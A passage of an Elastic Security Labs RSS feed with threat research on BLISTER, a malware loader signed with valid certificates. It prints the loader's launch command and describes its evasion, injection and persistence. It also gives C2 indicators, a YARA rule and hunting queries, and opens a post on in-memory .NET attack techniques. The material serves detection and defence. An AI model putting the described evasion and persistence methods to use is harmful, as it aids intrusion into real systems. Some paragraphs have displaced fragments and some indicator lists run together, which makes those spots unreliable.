<pre><code>Identifies code injection with InstallUtil

process where event.type == &quot;start&quot; and
process.pe.original_file_name == &quot;InstallUtil.exe&quot; and
not process.executable : &quot;?:\\Windows\\Microsoft.NET\\*&quot;
</code></pre>
<h2>MITRE ATT&amp;CK</h2>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1561/002/">T1561.002 - Disk Structure Wipe</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">T1562.001 - Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1047/">T1047 - Windows Management Instrumentation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">T1102 - Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">T1055 - Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">T1027 - Obfuscated Files or Information</a></li>
</ul>
<h2>Summary</h2>
<p>These targeted attacks on Ukraine using destructive malware match a similar pattern observed in the past such as <a href="https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/">NotPetya</a>. By leveraging different malware components to wipe machines and corrupt files, it’s apparent there was no intent to recover any funds, but likely a technique used to sow chaos and doubt into Ukraine’s stability.</p>
<p>As these events are still ongoing, we wanted to release some initial analysis and observations from our perspective. We also wanted to highlight the prevention capabilities of Elastic Security across each stage of this attack, available to everyone today.</p>
<p>Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our <a href="https://www.elastic.co/es/training/free#quick-starts">Quick Start guides</a> (bite-sized training videos to get you started quickly) or our <a href="https://www.elastic.co/es/training/free#fundamentals">free fundamentals training courses</a>. You can always get started with a <a href="https://cloud.elastic.co/registration?elektra=whats-new-elastic-security-7-16-blog">free 14-day trial of Elastic Cloud</a>.</p>
<h2>Indicators</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92</td>
<td>SHA256</td>
<td>Stage1.exe (MBR wiper)</td>
</tr>
<tr>
<td>dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78</td>
<td>SHA256</td>
<td>Stage2.exe (Downloader)</td>
</tr>
<tr>
<td>923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6</td>
<td>SHA256</td>
<td>Stage3 (Injector - original)</td>
</tr>
<tr>
<td>9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d</td>
<td>SHA256</td>
<td>Stage3 (Injector - fixed)</td>
</tr>
<tr>
<td>34CA75A8C190F20B8A7596AFEB255F2228CB2467BD210B2637965B61AC7EA907</td>
<td>SHA256</td>
<td>Stage4 (File Corruptor)</td>
</tr>
</tbody>
</table>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc57bd32cdaea24f7/628e88d8b385dc5352428ffc/bleeding-bear-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/bleeding-bear.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security uncovers BLISTER malware campaign]]></title>
            <link>https://www.elastic.co/es/security-labs/elastic-security-uncovers-blister-malware-campaign</link>
            <guid>elastic-security-uncovers-blister-malware-campaign</guid>
            <pubDate>Wed, 03 Aug 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security has identified active intrusions leveraging the newly identified BLISTER malware loader utilizing valid code-signing certificates to evade detection. We are providing detection guidance for security teams to protect themselves.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways:</h2>
<ul>
<li>Elastic Security uncovered a stealthy malware campaign that leverages valid code signing certificates to evade detection</li>
<li>A novel malware loader, BLISTER was used to execute second stage malware payloads in-memory and maintain persistence</li>
<li>The identified malware samples have very low or no detections on VirusTotal</li>
<li>Elastic provided layered prevention coverage from this threat out of the box</li>
</ul>
<blockquote>
<p>For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/blister-loader">BLISTER Malware Analysis</a></li>
<li><a href="https://www.elastic.co/es/security-labs/blister-configuration-extractor">BLISTER Configuration Extractor</a></li>
</ul>
</blockquote>
<h2>Overview</h2>
<p>The Elastic Security team identified a noteworthy cluster of malicious activity after reviewing our threat prevention telemetry. A valid code signing certificate is used to sign malware to help the attackers remain under the radar of the security community. We also discovered a novel malware loader used in the campaign, which we’ve named BLISTER. The majority of the malware samples observed have very low, or no, detections in</p>
<p>Elastic’s layered approach to preventing attacks protects from this and similar threats.</p>
<p>In one prevented attack, our malicious behavior prevention triggered multiple high-confidence alerts for <em>Execution via Renamed Signed Binary Proxy</em>, <em>Windows Error Manager/Reporting Masquerading</em>, and <em>Suspicious PowerShell Execution via Windows Scripts</em>. Further, our memory threat prevention identified and stopped BLISTER from injecting its embedded payload to target processes.</p>
<p>Finally, we have additional coverage from our open source detection engine rules [</p>
<h2>Details</h2>
<h4>Certificate abuse</h4>
<p>A key aspect of this campaign is the use of a valid code signing certificate issued by</p>
<p>We responsibly disclosed the activity to Sectigo so they could take action and revoke the abused certificates. Below shows details about the compromised certificate. We have observed malware signed with this certificate as early as September 15, 2021.</p>
<p>Issuer: <em>Sectigo Public Code Signing CA R36_Issued to: _Blist LLC_Serial number: _2f4a25d52b16eb4c9dfe71ebbd8121bb_Valid from: ‎_Monday, ‎August ‎23, ‎2021 4:00:00 PM_Valid to: ‎_Wednesday, ‎August ‎24, ‎2022 3:59:59 PM</em></p>
<p><a href="https://www.virustotal.com/">VirusTotal</a>. The infection vector and goals of the attackers remain unknown at this time.<a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_masquerading_werfault.toml">1</a>] [<a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml">2</a>]. To ensure coverage for the entire community, we are including YARA rules and IoCs to help defenders identify impacted systems.<a href="https://sectigo.com/ssl-certificates-tls/code-signing">Sectigo</a>. Adversaries can either steal legitimate code-signing certificates or purchase them from a certificate authority directly or through front companies. Executables with valid code signing certificates are often scrutinized to a lesser degree than unsigned executables. Their use allows attackers to remain under the radar and evade detection for a longer period of time.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/1-digital-signature-information.jpg" alt="" /></p>
<h4>BLISTER malware loader</h4>
<p>Another interesting aspect of this campaign is what appears to be a novel malware loader with limited detections in VirusTotal. We refer to it as the BLISTER loader. The loader is spliced into legitimate libraries such as <a href="https://www.virustotal.com/gui/file/bf356c43e4f9fd1fa4e00fe276cedcba4b08905051c2c621276f36ba332bff1d/detection">colorui.dll</a>, likely to ensure the majority of the on-disk footprint has known-good code and metadata. The loader can be initially written to disk from simple dropper executables. <a href="https://www.virustotal.com/gui/file/ed241c92f9bc969a160da2c4c0b006581fa54f9615646dd46467d24fe5526c7a">One</a> such dropper writes a signed BLISTER loader to <em>%temp%\Framwork\axsssig.dll</em> and executes it with <em>rundll32</em>. <em>LaunchColorCpl</em> is a common DLL export and entry point name used by BLISTER as seen in the command line parameters:</p>
<pre><code>Rundll32.exe C:\Users\user\AppData\Local\Temp\Framwork\axsssig.dll,LaunchColorCpl
</code></pre>
<p>Once executed, BLISTER decodes bootstrapping code stored in the resource section with a simple 4-byte XOR routine shown below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/2-bootstrapping-code.jpg" alt="" /></p>
<p>The bootstrapping code is heavily obfuscated and initially sleeps for 10 minutes. This is likely an attempt to evade sandbox analysis. After the delay, it decrypts the embedded malware payload. We have observed CobaltStrike and BitRat as embedded malware payloads. Once decrypted, the embedded payload is loaded into the current process or injected into a newly spawned <em>WerFault.exe</em> process.</p>
<p>Finally, BLISTER establishes persistence by copying itself to the <em>C:\ProgramData</em> folder, along with a re-named local copy of <em>rundll32.exe</em>. A link is created in the current user’s Startup folder to launch the malware at logon as a child of <em>explorer.exe.</em></p>
<h2>YARA</h2>
<p>We have created a YARA rule to identify this BLISTER activity:</p>
<pre><code>rule Windows_Trojan_Blister{
    meta:
        author = “Elastic Security”
        creation_date = &quot;2021-12-20&quot;
        last_modified = &quot;2021-12-20&quot;
        os = &quot;Windows&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;Blister&quot;
        threat_name = &quot;Windows.Trojan.Blister&quot;
        reference_sample = &quot;0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00&quot;

    strings:
        $a1 = {8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7}
        $a2 = {75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75}
condition:
        any of them
}
</code></pre>
<h2>Defensive recommendations</h2>
<h3>Elastic Endpoint Alerts</h3>
<p>Elastic <a href="https://www.elastic.co/es/endpoint-security/">Endpoint Security</a> provides deep coverage for this threat by stopping the in-memory thread execution and preventing malicious behaviors.</p>
<p><strong>Memory Threat Detection Alert: Shellcode Injection</strong></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/Screen_Shot_2021-12-22_at_12.21.14_PM.jpg" alt="" /></p>
<p><strong>Malicious Behavior Detection Alert: Execution via Renamed Signed Binary Proxy</strong></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/4-malicious-behavior-detection-alert.jpg" alt="" /></p>
<h2>Hunting queries</h2>
<p>These queries can be used in Kibana's Security -\&gt; Timelines -\&gt; Create new timeline -\&gt; Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.</p>
<p><strong>Proxy Execution via Renamed Rundll32</strong></p>
<p>Hunt for renamed instances of <em>rundll32.exe</em></p>
<pre><code>process where event.action == &quot;start&quot; and
process.name != null and
(process.pe.original_file_name == &quot;RUNDLL32.EXE&quot; and not process.name : &quot;RUNDLL32.EXE&quot;)
</code></pre>
<p><strong>Masquerading as WerFault</strong></p>
<p>Hunt for potential rogue instances of WerFault.exe (Windows Errors Reporting) in an attempt to masquerade as a legitimate system process that is often excluded from behavior-based detection as a known frequent false positive:</p>
<pre><code>process where event.action == &quot;start&quot; and
  process.executable :
   (&quot;?:\\Windows\\Syswow64\\WerFault.exe&quot; ,&quot;?:\\Windows\\System32\\WerFault.exe&quot;) and
   /*
     legit WerFault will have more than one argument in process.command_line
   */
  process.args_count == 1
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/5-evasion-werfault.jpg" alt="Evasion via Masquerading as WerFault and Renamed Rundll32" /></p>
<p><strong>Persistence via Registry Run Keys / Startup Folder</strong></p>
<p>Malware creates a new run key for persistence:</p>
<pre><code>registry where registry.data.strings != null and
 registry.path : (
  /* Machine Hive */      &quot;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*&quot;,
&quot;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*&quot;,  &quot;HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*&quot;,

 /* Users Hive */
&quot;HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*&quot;,
&quot;HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*&quot;, &quot;HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*&quot;
     )
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/6-persistence-via-run-key.jpg" alt="Persistence via Run key" /></p>
<p><strong>Suspicious Startup Shell Folder Modification</strong></p>
<p>Modify the default Startup value in the registry via COM (dllhost.exe) and then write a shortcut file for persistence in the new modified Startup folder:</p>
<pre><code>sequence by host.id with maxspan=1m
 [registry where
  /* Modify User default Startup Folder */
  registry.path : (
     &quot;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup&quot;,
     &quot;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup&quot;,
     &quot;HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup&quot;,
     &quot;HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup&quot;
     ) ]
  /* Write File to Modified Startup Folder */
    [file where event.type : (&quot;creation&quot;, &quot;change&quot;) and file.path : &quot;?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*&quot;]
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/7-modified-startup.jpg" alt="Persistence via Modified Startup" /></p>
<p><strong>Elastic Detection Engine Rules</strong></p>
<p>The following existing public detection rules can also be used to detect some of the employed techniques:</p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_masquerading_werfault.toml">Potential Windows Error Manager Masquerading</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml">Windows Defender Exclusions Added via PowerShell</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_run_key_and_startup_broad.toml">Startup or Run Key Registry Modification</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_startup_folder_file_written_by_suspicious_process.toml">Shortcut File Written or Modified for Persistence</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml">Suspicious Startup Shell Folder Modification</a></p>
<h2>MITRE ATT&amp;CK</h2>
<p><a href="https://attack.mitre.org/techniques/T1218/011/">T1218.011 - Signed Binary Proxy Execution: Rundll32</a></p>
<p><a href="https://attack.mitre.org/techniques/T1055/">T1055 - Process Injection</a></p>
<p><a href="https://attack.mitre.org/techniques/T1547/001/">T1547.001 - Registry Run Keys / Startup Folder</a></p>
<p><a href="https://attack.mitre.org/techniques/T1036/">T1036 - Masquerading</a></p>
<h2>Summary</h2>
<p>The BLISTER loader has several tricks which has allowed it to fly under the radar of the security community for months. This includes leveraging valid code signing certificates, infecting legitimate libraries to fool machine learning models, and executing payloads in-memory. However, the depth of protection offered with Elastic Security meant we were still able to identify and stop in-the-wild attacks.</p>
<p>Existing Elastic Security can access these capabilities within the product. If you’re new to Elastic Security, take a look at our <a href="https://www.elastic.co/es/training/free#quick-starts">Quick Start guides</a> (bite-sized training videos to get you started quickly) or our <a href="https://www.elastic.co/es/training/free#fundamentals">free fundamentals training courses</a>. You can always get started with a <a href="https://cloud.elastic.co/registration?elektra=whats-new-elastic-security-7-16-blog">free 14-day trial of Elastic Cloud</a>.</p>
<h2>Indicators</h2>
<p>|
| |</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>F3503970C2B5D57687EC9E31BB232A76B624C838</td>
<td>SHA1</td>
<td>Code-signing certificate thumbprint</td>
</tr>
<tr>
<td>moduleloader.s3.eu-west-2.amazonaws[.]comdiscountshadesdirect[].com bimelectrical[.]comclippershipintl[.]com</td>
<td>Domain name</td>
<td>Malware c2</td>
</tr>
<tr>
<td>188.68.221[.]20393.115.18[.]24852.95.148[.]16284.38.183[.]17480.249.145[.]212185.170.213[.]186</td>
<td>IP Address</td>
<td>Malware c2</td>
</tr>
<tr>
<td>ed6910fd51d6373065a2f1d3580ad645f443bf0badc398aa77185324b0284db8 cb949ebe87c55c0ba6cf0525161e2e6670c1ae186ab83ce46047446e9753a9267b9091c41525f1721b12dcef601117737ea990cee17a8eecf81dcfb25ccb5a8f84a67f191a93ee827c4829498d2cb1d27bdd9e47e136dc6652a5414dab440b74cc31c124fc39025f5c3a410ed4108a56bb7c6e90b5819167a06800d02ef1f0289472d4cb393256a62a466f6601014e5cb04a71f115499c320dc615245c7594d44fe551bcea5e07879ec84a7f1cea1036cfd0a3b03151403542cab6bd8541f8e51a10a07413115c254cb7a5c4f63ff525e64adfe8bb60acef946bb7656b7a2b3d9bccc1862e3e5a6c89524f2d76144d121d0ee95b1b8ba5d0ffcaa23025318a608a414a40419e32282d33af3273ff73a596a7ac8738e9cdca6e7db0e41c1a7658923b2f90749da76b997e1c7870ae3402aba875fdbdd64f79cbeba2f928884129ed241c92f9bc969a160da2c4c0b006581fa54f9615646dd46467d24fe5526c7a294c710f4074b37ade714c83b6b7bf722a46aef61c02ba6543de5d59edc97b60</td>
<td>sha256</td>
<td>Signed Droppers</td>
</tr>
<tr>
<td>df8142e5cf897af65972041024ebe74c7915df0e18c6364c5fb9b2943426ed1a2d049f7658a8dccd930f7010b32ed1bc9a5cc0f8109b511ca2a77a2104301369696f6274af4b9e8db4727269d43c83c350694bd1ef4bd5ccdc0806b1f014568aa34821b50aadee0dd85c382c43f44dae1e5fef0febf2f7aed6abf3f3e21f79947cd03b30cfeea07b5ea4c8976e6456cb65e09f6b8e7dcc68884379925681b1c481edf3a3b295b0189e54f79387e7df61250cc8eab4f1e8f42eb5042102df8f1f44e5770751679f178f90ef7bd57e8e4ccfb6051767d8e906708c52184bf27f320a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00a486e836026e184f7d3f30eaa4308e2f0c381c070af1f525118a484a987827c1359ffa33784cb357ddabc42be1dcb9854ddb113fd8d6caf3bf0391380f9d640a863228efa55b54a8d03a87bb602a2e418856e0028ae409357454a6303b128224d0f934fd5d63a1524616bc13b51ce274539a8ead9b072e7f7fe1a14bb8b927a6c0f3b27ae4f7db457a86a38244225cca35aa0960eb6a685ed350e99a36c32b61216cb4f2caeaf59f297f72f7f271b084637e5087d59411ac77ddd3b87e7a90aa00eb2f75822abeb2e222d007bdec464bfbc3934b8be12983cc898b37c6ace08125a0d6a839c4dc708dcdd1ef9395570cc86d54d4725b7daf56964017f66be3c13c7480998ade344b74e956f7d3a3f1a989aaf43446163a62f0a8ed34b0c010d05651e8a8e6f9c63c4c1162efadfcb4cdd9ad634c5e00a5ab03259fcdeaa225acba3a50930e7a144637faf88a98f2990a27532bfd20a93dc160eb2db4fbc17b58fa885e9ea1293552cb45a89e740426fa9c313225ff77ad1980dfea83b6c4a91cbee3210360c5d0939c5d38b7b9f0c232cf9fbf93b46a19e53930a1606bda28a556ca9ea3f7870561ed3c6387daf495404ed3827f212472501d2541d5ccf8b941c61d2ba1e001c137533cd7fb6b38fe71fee489d61dbcfea45c37c5ec1bcf845c17ea84d547e97a030d2b02ac2eaa9763ffb4f96f6c54659533a23e17268aababca09d9cd2f3cfcc06b33eff91d55602cb33a66ab3fd4f540b9212fce5ddae54a6c6f808f9b19e1fab1c1b83dc99386f0ceee8593ddfd461ac047eae812df8733</td>
<td>sha256</td>
<td>Unsigned BLISTER Loader DLL</td>
</tr>
<tr>
<td>afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2516cac58a6bfec5b9c214b6bba0b724961148199d32fb42c01b12ac31f6a60998ae2c205220c95f0f7e1f67030a9027822cc18e941b669e2a52a5dbb5af74bc9fe7357d48906b68f094a81d19cc0ff93f56cc40454ac5f00e2e2d9c8ccdbc388af555d61becfcf0c13d4bc8ea7ab97dcdc6591f8c6bb892290898d28ebce1c5d96bf7bd5f405d3b4c9a71bcd1060395f28f2466fdb91cafc6e261a31d41eb37af5104d0ead2f178711b1e23db3c16846de7d1a3ac04dbe09bacebb847775d76d8e22cf159345852be585bc5a8e9af476b00bc91cdda98fd6a3244219a90ac9d9d54dfedda0efa36ed445d501845b61ab73c2102786be710ac19f697fc8d4ca5c</td>
<td>sha256</td>
<td>Signed BLISTER Loader DLL</td>
</tr>
<tr>
<td>Launcher V7.3.13.exeGuiFramwork.exeffxivsetup.exePredictor V8.21 - Copy.exePredictor Release v5.9.rarPredictorGUI.exeReadhelper.exedxpo8umrzrr1w6gm.exePers.exerazer.exeAmlidiag.exeModern.exeiuyi.exeCleandevicehelper.exeinstaller.exe</td>
<td>File name</td>
<td>Dropper Names</td>
</tr>
<tr>
<td>Holorui.dllColorui.dllPasade.dllAxsssig.dllHelper.CC.dllHeav.dllPasadeis.dllTermmgr.dllTermService.dllrdpencom.dlllibcef.dlltnt.dll</td>
<td>File name</td>
<td>BLISTER DLL Names</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/elastic-security-uncovers-blister-malware-campaign/blog-security-timeseries-radar-720x420.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Hunting For In-Memory .NET Attacks]]></title>
            <link>https://www.elastic.co/es/security-labs/hunting-memory-net-attacks</link>
            <guid>hunting-memory-net-attacks</guid>
            <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection]]></description>
            <content:encoded><![CDATA[<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-hunting_in_memory_.net_1.png" alt="Hunting-memory-hunting_in_memory_.net_1.png" /></p>
<p>In past blog posts, we shared our <a href="https://www.endgame.com/blog/technical-blog/hunting-memory">approach</a> to hunting for traditional in-memory attacks along with in-depth <a href="https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">analysis</a> of many injection techniques. As a follow up to my DerbyCon <a href="https://www.endgame.com/resource/video/derbycon-talk-hunting-memory-resident-malware">presentation</a>, this post will investigate an emerging <a href="https://securelist.com/the-rise-of-net-and-powershell-malware/72417/">trend</a> of adversaries using .NET-based in-memory techniques to evade detection. I’ll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks.</p>
<h2>The .NET Allure</h2>
<p>Using .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the <a href="https://en.wikipedia.org/wiki/.NET_Framework">.NET framework</a> comes <a href="https://blogs.msdn.microsoft.com/astebner/2007/03/14/mailbag-what-version-of-the-net-framework-is-included-in-what-version-of-the-os/">pre-installed</a> in all Windows versions. This is important as it enables the attackers’ malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly <a href="http://www.ntcore.com/files/dotnetformat.htm">complicated</a>. Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products don’t defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the <a href="https://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(v=vs.110).aspx">Assembly.Load(byte[])</a> function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like <a href="https://docs.microsoft.com/en-us/windows/device-security/device-guard/introduction-to-device-guard-virtualization-based-security-and-code-integrity-policies">Device Guard</a>. This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports.</p>
<h2>.NET Attacker Techniques</h2>
<p>Adversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months, there has been a noticeable uptick in tradecraft, which I’ll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was <a href="https://www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/">observed</a> using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the <a href="https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/">OilRig</a> APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as <a href="https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/">ISMAgent</a>.</p>
<p>A third example, more familiar to red teams, is <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/ReflectivePick/ReflectivePick.cpp">ReflectivePick</a> by <a href="https://twitter.com/sixdub">Justin Warner</a> and <a href="https://twitter.com/tifkin_">Lee Christensen</a>. ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-load-assembly-from-memory-2.jpg" alt="Hunting-memory-load-assembly-from-memory-2.jpg" /></p>
<p>It is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, <a href="https://twitter.com/mattifestation">Matt Graeber</a> discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient “forever-day exploit” against hosts that are hardened with application whitelisting.</p>
<p><a href="https://twitter.com/subTee">Casey Smith</a> also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker-supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed.</p>
<p>Finally, <a href="https://twitter.com/tiraniddo">James Forshaw</a> developed the <a href="https://github.com/tyranid/DotNetToJScript">DotNetToJScript</a> technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestingly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1081">demonstrated</a> how to combine DotNetToJScript with <a href="https://www.endgame.com/blog/technical-blog/how-hunt-detecting-persistence-evasion-com">com hijacking</a> and Casey’s squiblydoo technique to inject code into <a href="http://www.alex-ionescu.com/?p=97">protected processes</a>. In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands.</p>
<p>The number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is <a href="https://twitter.com/Oddvarmoe">Oddvar Moe’s</a> <a href="https://github.com/api0cradle/UltimateAppLockerByPassList">UltimateAppLockerByPassList</a>, and another is Microsoft’s own <a href="https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-steps">reference</a>.</p>
<h2>Detecting .NET Attacks</h2>
<p>As these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, let’s explore two approaches to detecting these attacks: on-demand and real-time-based techniques.</p>
<h3>On-demand detection</h3>
<p>On-demand detection leverages snapshots in time-type data collection. You don’t need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the <a href="https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2">Get-InjectedThread</a> script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by <a href="https://twitter.com/harmj0y">Will Schroeder</a> and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-calc.exe.2888-3.jpg" alt="Hunting-memory-calc.exe.2888-3.jpg" /></p>
<p>This fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa366775(v=vs.85).aspx">MEM_MAPPED</a>, although there is no associated file mapping object (Note the “Use” field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a <a href="https://github.com/dotnet/coreclr/blob/3452efb58d2f3be867080f8627417b264fcbd73c/src/vm/peimagelayout.cpp#L259">side effect</a> of loading a memory-only module with the Assembly.Load(byte[]) method.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-calc.exe.2888.properties-4.jpg" alt="Hunting-memory-calc.exe.2888.properties-4.jpg" /></p>
